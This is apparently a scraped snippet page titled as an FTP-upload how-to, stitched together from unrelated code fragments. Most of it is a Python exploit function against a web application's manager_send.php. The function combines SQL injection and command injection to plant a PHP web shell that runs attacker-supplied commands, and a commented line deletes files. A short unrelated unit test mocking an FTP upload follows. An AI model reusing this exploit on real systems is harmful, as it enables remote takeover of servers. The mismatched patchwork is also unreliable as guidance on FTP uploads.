How to use 'python ftp upload' in Python

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33def shellupload():
34 command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"
35 #command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"
36 command = command.replace(" ", "%20")
37 evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
38 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
39 s.connect((host,80))
40 evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
41 s.send(evilREQ)
42 a = s.recv(1024)
43 if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):
44 print '[ + ] Shell uploaded successfully [ + ]\n'
45 print '[ + ] http://' + host + '/infogen.php [ + ]\n'
46 else:
47 print '[ - ] Shell upload failed.... [ - ]'
48 s.close()
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64@patch('ftplib.FTP.storbinary')
65@patch(builtin_string + '.open')
66def test_ftp_upload_file(self, mock_ftpstore, mock_open):
67 self.assertEqual(self.dev_ftp.put(local_file="testfile"), True)

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